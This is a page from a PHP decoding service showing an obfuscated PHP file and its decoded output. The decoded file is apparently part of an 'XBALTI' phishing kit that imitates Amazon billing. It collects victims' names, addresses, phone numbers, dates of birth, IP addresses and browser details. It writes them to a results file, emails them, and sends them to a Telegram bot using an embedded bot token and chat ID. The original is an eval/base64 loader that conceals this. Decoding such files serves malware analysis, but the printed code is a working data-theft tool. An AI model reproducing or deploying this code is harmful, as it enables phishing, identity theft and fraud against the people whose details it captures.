Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* This file is protected by copyright law and provided under license. Reverse engin..
Decoded Output download
session_start();
$_SESSION['fullname'] = $_POST['fullname'];
$_SESSION['address'] = $_POST['address'];
$_SESSION['City'] = $_POST['City'];
$_SESSION['stat'] = $_POST['stat'];
$_SESSION['zipcode'] = $_POST['zipcode'];
$_SESSION['phonenumber'] = $_POST['phonenumber'];
$_SESSION['dob'] = $_POST['dob'];
$timedate = date('H:i:s d/m/Y');
include('../../config.php');
include('./get_browser.php');
include('./get_ip.php');
$Fname=$_SESSION['fullname'];$Address=$_SESSION['address'];$City=$_SESSION['City'];$State=$_SESSION['stat'];$Zip=$_SESSION['zipcode'];$Phone=$_SESSION['phonenumber'];$DOB=$_SESSION['dob'];$Country=$_SESSION['country'];$IP=$_SESSION['_ip_'];$Usragent=$_SERVER['HTTP_USER_AGENT'];
$ygmai="
[+] Amazon Bill INFO [+]
[ Full Name] = ".$Fname."
[ Adress] = ".$Address."
[ City = ".$City."
[ Zip ] =".$Zip."
[ state ] = ".$State."
[ country ] = ".$Country."
[ phone ] = ".$Phone."
[ DOB ] = ".$DOB."
[+] System[+]
[ IP INFO] = http://www.geoiptool.com/?IP=".$IP."
[ FINGERPRINT] = ".$Usragent."
";
$msg .= "
<!DOCTYPE html>
<html>
<head>
<title>*REZULT*</title>
</head>
<body style=' padding:0;margin:0;
background-color: #fff;
background-attachment:fixed;
border-bottom:1px solid rgba(255,255,255,0);
color: #ff8100;
height: 100vh;
font-family: calibri;
background-color: #000;
font-size: 18px;
text-shadow: 0 0 10px #ff8100;' >
<p style='text-align: center;margin:40px 0;' >
<img height='100px;' src='http://icons.iconarchive.com/icons/designbolts/credit-card-payment/256/Amazon-icon.png'>
</p>
<div style=' margin:0 auto;
max-width: 900px;
width: 100%;
border:2px solid #ff8100;
border-radius: 4px;
box-shadow: 0 0 20px #ff8100; '>
<div align='center' style=' padding:10px 20px; '>
<h1 style='text-align: center;' >XBALTI</h1>
<p style='text-align: center;'>BILLING INFORMATION FROM |".$_SESSION['country']."| ip = ".$_SESSION['_ip_']." </p>
<p>
<table style='margin:40px 0;border-bottom: 4px solid #6b5c5c;padding: 20px 0;border-radius: 4px;border-top: 4px solid #6b5c5c;' >
<tr>
<td style=' width: 30%;'>
|Full Name|
</td>
<td>:
".$_SESSION['fullname']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|Street address|
</td>
<td>:
".$_SESSION['address']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|City|
</td>
<td>:
".$_SESSION['City']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|State|
</td>
<td>:
".$_SESSION['stat']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|Zip Code|
</td>
<td>:
".$_SESSION['zipcode']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|Phone number|
</td>
<td>:
".$_SESSION['phonenumber']."
</td>
</tr>
<tr>
<td style=' width: 30%; '>
|Date Of Birth|
</td>
<td>:
".$_SESSION['dob']."
</td>
</tr>
<hr style='height: 10px; border: 0; box-shadow: 0 10px 10px -10px #8c8c8c inset;' />
<tr>
<td style=' width: 30%;'>
|Country|
</td>
<td>:
".$_SESSION['country']."
</td>
</tr>
<tr>
<td style=' width: 30%;'>
|ip|
</td>
<td>:
".$_SESSION['_ip_']."
</td>
</tr>
<tr>
<td style=' width: 30%;'>
|Browser/System|
</td>
<td>:
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
</tr>
<tr>
<td style=' width: 30%;'>
|Time / Date|
</td>
<td>:
".$timedate."
</td>
</tr>
</table>
<hr style='height: 10px; border: 0; box-shadow: 0 10px 10px -10px #8c8c8c inset;' >
</p>
</div>
</div>
</body>
</html>
";
$khraha = fopen("../../admin/rezulta.php","a");
fwrite($khraha,$msg);
$subject .= "BILLING INFO FROM [".$_SESSION['country']."] [".$_SESSION['_ip_']."]";$headers .= "From: <XBALTI>";$api = "5236622201:AAEplL_TxotFS1DnWkoUuYX6sfiApMAJs60";$chatid = "-1001670607472";file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=".urlencode($ygmai)."");
$headers .= "MIME-Version: 1.0
";
$headers .= "Content-type: text/html; charset=UTF-8
";
include("Telegram.php");
@mail($Email,$subject,$msg,$headers);
;
Did this file decode correctly?
Original Code
<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x19fc;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTBiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdSY01ZL2hQTHhUcDRhc1FVS0Ezb2VKMjhnSGZ5NVZCaXVqYnE5K2tFNk9td0N6U1daN25YSUZkRzB2RDF0bHJOPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>xQWDnLKtzYZn]@ui@XiUT/lUaYcUaYcUaYFXVLTi5kJZyPhqH3uE8FlP3e7h8FtE4MxExb09oIlUa/tZoXRZ4bxExbZ9oIlUaYRZa/tZpMAUoItZaYRZa/t6T/tZoXRZoItZaMu9oXRZa/tZoXRZ4MAUoXRZoXRZaYRO4MV3gIFH4djKoLje5YAj5FhJ3I/XydJpaqjE3PHvsJHMf8JmgE/vpdzhs9lzVIsDeFVfsdvg3eH9AXcdAYhIyLTQU35CTIhMKIAhA9Vx3eO4o/FQoFcAe+seJJH82h+fg2TqHPJkHdjOfkzCy2vW5Lhn5GAFVEV0B86ZaoxXsYedsXuvpntEp39OQdHqyPlXH3u9oXRZa/tZoXRZpoz+VkhCpMAUoXRZoXRZoXROQZ==MEs+5GsOydvi5GAj5EK6poCpThloAJso3elQ2nVkV27CykhzH3VVxMRuU3R98FcUeFAyTdHFyP7Sg2F+TFI1MbAieIJoeI+Uo+CEg2A95kJX5nVVxMRuU3R98FcUeFAyTdh9HLT+5GaE8oCpThloAJso3elQ2nVYf8AvTFIuxMRlxMAie/loJhCEKd+IB3VVQZ698FsheFsToIvyTGsIg8KE83RuxYIuThlKoFse2nVXVPhITFI1MbAieIJoeI+Uo+CEBk+Zgdl9H3VVxMRuU3R98FcUeFAyTGOO5PsWHPeE8oCpThloAJso3elQ2nVZfPlSH2vFy2T+5bVVxMRuU3R98FcUeFAyTGc6ydv+yEJzgkJnTFI1MbAieIJoeI+Uo+CEHPlbTFIuxMRlxMAie/loJhCEHPlbTFI1MbAIf2F+HPhIH3RlxPAjVPe6TIuDfoOXxPKWy3lHTn91Mk+Sgd7FHPe6Tn0S4n0S4dsWykHOHnvZfLREpoCpf2vqyLJ9H3uE4blEH8AigETWVGs+5bvZfLREpoCpf2vqyLJ9H3uE4blEH8Aif8RS5PjZTn91MbAPykhzHoI98FsheFsToIvyTdHFyP7Sg2F+TFI1T/h9HLT+5GalThloAJso3elQ2nVjHPAnH8sXTFI1T/sOVL9lThloAJso3elQ2nVYf8AvTFI1ThsIg8A+U3AieIJoeI+Uo+CE5GAjVMVVQnAff8RlThloAJso3elQ2nVDf8cqydA+TFI1Thc6ydv+U3AieIJoeI+Uo+CE5PjWykJSV2FbH8xE8oC9A/lMU3AieIJoeI+Uo+CEHPlbTFI1T/sWV2vI5E9lThloAJso3elQ2nVqyGJSVLTvTFI1T/+KU3AieIJoeI+Uo+CE8d+Z8nVVQnAJ5GTjHdJSVYI98Fshe+Hhe+CE3hAeehlJeIJ38IhLAeveTFI1MbAvHdFjfoIbYKOypFGb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLquTYZE0ryx/hzg8OWybcMf27Cx/+QA9tu00MA0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c2nzVYKOytTrAOMcPV27Cx/vjy2JVxMRlxMxST/HSg2F+4bxsM+WZEvP9x/h95kJX5FIuxYIuxb09K2A95kJX5n0bYKOytTr3CncYf8AvxYIuxb09Kd+IB30bYKOytTrejMcff8Ru83RuxMRlxb092k+Z4bxsM+WZEv3/xLsIg8A+xhIuxMRuU3Rb4bAoVPhIH30bYKOytTre93cqyGJSVLTvxhIuxYIuxb09KdlFyEAnB30bYKOytTre93cZfPlSH3cVxMRuxYIuxb09ePjWykeSxuIp2NMi+T/uA/lMxhIuxMRuU3Rb4bA/oIxSxuIp2nzV0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c0O3c00MKtTr3SncoB8sIH2GquTLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xLb+xhypFIsM+WZEv3sx/+Kx/+QA9lVxYIufLAI5Y6W4GVGVnvEH2lO5LAWydZSgdlz4XlTeYIb4bATeM0bYKOytTr2+bcP3evLAJTKe9+QJhIuU3Rb4bAJ5GTjHdJSVM0bYK6bQZ69y8sExM0lxMxsMqZjA/lYJh+KA3c6VPFCUuIpUPjIy2ZrYK6tfPJjHY0sMu9tVP+IyPerp+Th2+JaJM6t4GAOVP7+UuIpUMl6H2h9UuIpUPTWHL9uxMRu5GAvyPelTncZg2A9f2vEQqR1y2hnHd+SQqR1YK6uxMRuMK+bg2swHGTWV2v942sWyPlnQbRqHkHkQZIpxMRuxR9TgkhqfdVnyGJSHMFjVLAjgdjzH2vIQkHOBPJ9QZIpxMRuxR9TgklnHPJn42TWVLAWyo675Luu5dlCf2Ku5kVbg3unsoeCaqeF4YxFs3ZZpoCsMbRuxMRTM2sWyPlnQbRqHkg0aoRZQZIpxMRuxR9TfPJOHdjIQbR7aYcdfYCsMbRuxMRTM2HWyEKzHkhzf27vQbcqg27OgETOQZIpxMRuxR9TgkhqfdVnyGJSHMFqyd7W5q6uxXRZaYCsMbRuxMRTM2HWyEKz5d+DHo6uaojZBYCsMbRuxMRTM8A+BLKz5djjHPlGQbRZxYRuaocZBMRqHkg0aoRZQn5uxY0sMu9t5McXVL+CHoIEVPJ0VMFjyP+Eyq6ugdJSVPJnQdFj5kVOyq6IaLc0xYR1TnRuUuIpMK9tf2FExPj+f2V6VYIEaoRZ5Lu1TncX5kalTdjIVLRD4nlOgdlS5nvOgdlSg8TqfP+dH3vqydIWf2sWyEaWHPJXf2VSgklCVLaWgGT+HP+I42sj5kKz5Phvy2JSVMtnsogWK2FjBklS42+qyd0S5PvETX0sMu9t4GRrYK6TUPAOVbRuxLsIB27+U35uy2hnHd+SQqRug8JIyXCsMu9TM2FjBMFGf2AIfY6uQoRZ5Lu1YK6TMK+Gf2AIfY6uaoRZToCsMu9TM2TW5kA+5q6n5Luu5dlCf2KuxdHkQY/ZaYCsMu9TM2TW5kA+5bFng2AOV8aDxYAZBYCsMu9TM2TWBMFXfPh9yG5DxYRuaMRnaLc0xMskHqu7aYR1xM5rYK6sMuIpMK9tHP+dxPhCf2VSU3VqH2vIH8xExLsIB27+U35u5Ph9HP+SHX67aLc0xYxZ5Lu1xMREUuIpxMRuxMRuxMRuxMRuxY76a3cXVL+CHoIEVPJ0VMFjyP+Eyq6ugdJSVPJnQn5uU+jMKe7e3oZWfY/rYK6TMK9t5McXVL+CHoIEVPJ0VMFjyP+Eyq6ugdJSVPJnQn5rK9+ao/+QAncTo9HUe9FcJ/+UobcPe9lsxLZb4bAieIJoeI+Uo+CEgdlFyEAnB3VV4bTtxP+ZxYIuxb098FsheFsToIvyTFlO5htE830bxMRuUMlZUuIpMK9TULRrYK6TMK9TULAjgk7+xMcXVL+CHoIEy2hnHd+SQqKZ5LuuaYzbyGT9H8xzgklIVPlzQbRI5Luu5dlCf2KuxXHbs2aFgXzZg2A9f2vEQbRnaLc0xYR1gklnHPJn48TjHP+F5X6usLc0QdTW5kA+5bFIyGRDxYAZBMcXyd7OHMRqskxFgXJqQn5uxY0sMu9TMK9TULAnUuIpMK9TMK9TULA9xLsIB27+U35uVd+9VPuDxYaZToCEUuIpMK9TMK9TM87PV27Cx/vjy2JtYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6uYK6TMK9TMK9Txb098FsheFsToIvyTdHFyP7Sg2F+TFISxuIpMK9TMK9TUMlIHY0sMu9TMK9TUMlI5q0sMu9TMK9TULAnUuIpMK9TMK9TULA9xLsIB27+U35uVd+9VPuDxYaZToCuTX0sMu9TMK9TMK+teGAnH2JIxPh9HLT+5GstYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6sMu9TMK9TM3xSThloAJso3elQ2nVjHPAnH8sXTFISxuIpMK9TMK9TUMlIHY0sMu9TMK9TUMlI5q0sMu9TMK9TULAnUuIpMK9TMK9TULA9xLsIB27+U35uVd+9VPuDxYaZToCuTX0sMu9TMK9TMK+tKd+IB8ZsMu9TMK9TMoZWVPKrYK6TMK9TMK9tVPKrQuIpMK9TMK9Txb098FsheFsToIvyTIsOVL9E830bYK6TMK9TMK9t4GA9UuIpMK9TMK9t4GAnUuIpMK9TMK9tVLxrYK6TMK9TMK9tVPKu5GAvyPelTncGf2AIfY6uaXR+QnREUuIpMK9TMK9TM87oVPhIH8ZsMu9TMK9TMoZWVPKrYK6TMK9TMK9tVPKrQuIpMK9TMK9Txb098FsheFsToIvyTGsIg8KE830bYK6TMK9TMK9t4GA9UuIpMK9TMK9t4GAnUuIpMK9TMK9tVLxrYK6TMK9TMK9tVPKu5GAvyPelTncGf2AIfY6uaXR+QnREUuIpMK9TMK9TM87ff8RuKdl9H8ZsMu9TMK9TMoZWVPKrYK6TMK9TMK9tVPKrQuIpMK9TMK9Txb098FsheFsToIvyTGOO5PsWHPeE830bYK6TMK9TMK9t4GA9UuIpMK9TMK9t4GAnUuIpMK9TMK9tVLxrYK6TMK9TMK9tVPKu5GAvyPelTncGf2AIfY6uaXR+QnREUuIpMK9TMK9TM87KfPlSH3cSV2FbH8TtYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6sMu9TMK9TM3xSThloAJso3elQ2nVZfPlSH2vFy2T+5bVV4bxsMu9TMK9TMoZWVPKrYK6TMK9TMoZWVLxrYK6TMK9TMo7I5q0sMu9TMK9TMo7IHMcXVL+CHoIExLVOHLA6QbRXaMe1xM5rYK6TMK9TMK9Ti/AjVPeuodguKk+nVPjtYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6sMu9TMK9TM3xSThloAJso3elQ2nV9ydxE830bYK6TMK9TMK9t4GA9UuIpMK9TMK9t4GAnUuIpxMRuxMRuxMRuxMRuxMRuxMRuxMRtfLxu5GAvyPelTdj+f2V6VY6uaocZBYCugklnHPJnQbRZQncbyGuz5djjHPlGQbRZxY/Z5LuuaocZBMRzaocZBMRqQPa0gXjqxP+S5dJIQn5u4X0sMu9TMK9TULAnUuIpMK9TMK9TULA9xLsIB27+U35uVd+9VPuDxYaZToCEUuIpMK9TMK9TM87YyGJSVLTviRIpMK9TMK9TUMlIHY0sMu9TMK9TMo7IHY0DxRIpMK9TMK9Txb098FsheFsToIvyTdsWV2vI5E9E830bYK6TMK9TMK9t4GA9UuIpMK9TMK9t4GAnUuIpxMRuxMRuxMRuxMRuxMRuxMRuxMRsMbRuxMRuxMRuxMRuxMRuxMRuxMRuYK6TMK9TMo7I5q0sMu9TMK9TMo7IHMcXVL+CHoIExLVOHLA6QbRXaMe1TX0sMu9TMK9TMK+tf8ctYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6uYK6TMK9TMK9b4bAieIJoeI+Uo+CE8d+Z8nVV4bxsMu9TMK9TMoZWVPKrYK6TMK9TMoZWVLxrYK6TMK9TMo7I5q0sMu9TMK9TMo7IHMcXVL+CHoIExLVOHLA6QbRXaMe1TX0sMu9TMK9TMK+tKETWVGs+5bloB8sIH2FtYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6uYK6TMK9TMK9b4+jM8ITnyGVXH8x6ThloAJT2AJTyTIjeJhciJJshe+lcAIJQJMVVp30bx/lSxMxS2/TioFa6ThloAJT2AJTyTIjeJhciJJshe+lcAIJQJMVVp30bYK6TMK9TMK9t4GA9UuIpxMRuxMRuxMRuxMRuxMRuxMRuxMRuxYZWVLxrYK6TMK9TMo7I5q0sMu9TMK9TMo7IHMcXVL+CHoIExLVOHLA6QbRXaMe1TX0sMu9TMK9TMK+tJP+zH3RWx/AjVPJtYK6TMK9TMK9t4GA9UuIpMK9TMK9TULA9Uq6uYK6TMK9TMK9b4bAIf2F+HPhIH30bYK6TMK9TMK9t4GA9UuIpxMRuxMRuxMRuxMRuxMRuxMRuxMRuxYZWVLxrYK6TMK9TUMlIg2TCHo0sMbRuxMRuxMRuxMRuxMRuxY765bcXVL+CHoIEfPJOHdjIQbR7aLc0QncbyGT9H8xDxYR1xPTWBMFXfPh9yG5DxYRuaocZBMR7aLc0xMI7aLc0xMa0gXjqQPauf2vXH8K1TnRrYK6TMK9t4GRrYK6TMoZWHP+dUuIpMoZWHP+dUuIpUMlbydAvUuIpUMl6VPFCU+7SxqCpTPz65kh6g3RlxPHW5PJSpMxS4btS4bljHPFOyblnH8OFyLAj4Ec65MxCxk/bpoCpHEVnf8A+pMAwfLTjfP/CTPFXHn91MbAXV2TmH2sIxM0lxMTM3e7a3evLx/+QA9tuA+TUo3cyxb098FsheFsToIvyTdsWV2vI5E9E830b83YZEvbxxhCb4bAieIJoeI+Uo+CE8d+Z8nVV4bTVxqC9fPJjHPJn5nRSU3RbAETWyo6uUhjMKe7e3o0bQnAj5P9uU3RbsoxXsqgnaqxZaoOcKeJZy/7iJLjWV/HoaeASJdzWJ8JH2YHXHk+c5/Fc3EadaMx1TPs6g8AOHMRlxMxzaoRZaogGaYgZsXKGabx1Hk+CHJlEH8AigdlSVPJSVLa6xkjIVLcXQbtWg8cO4EA+yPJE5khz4klnHnlbyGKb4bAj5P9SxblXH2v9o2JX5dhEHolqfPhI8d+9U3xSTPs6g8AOHM0bTEA+BLKlxbvF5k7+yksWHPe6TL+Ey2hOp30bxb91MbA6H2h9H8TXxM0lxMTs3eFh4JH+5EsOyd0DxY/Sah7SxqCpTPj+g2A+5Eau4qIux9sWyEA+yEKzVL+ZHo6uVPJ0VMl6VPFCQncqfPhn5dJIUJJeAbI08P0bQZOOyksCV2A+pMTeH27+HGTjy3vZfLRbpoCpKPFjf2Z6T/Jzg2+C4MAXV2TmH2sI4MAz5d5CTPj+g2A+5EaOQZ61ekl]]Uvi{mRhJg
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 3 |
Stats
MD5 | bef8d54f0073c0bda390d7d334e452c6 |
Eval Count | 3 |
Decode Time | 118 ms |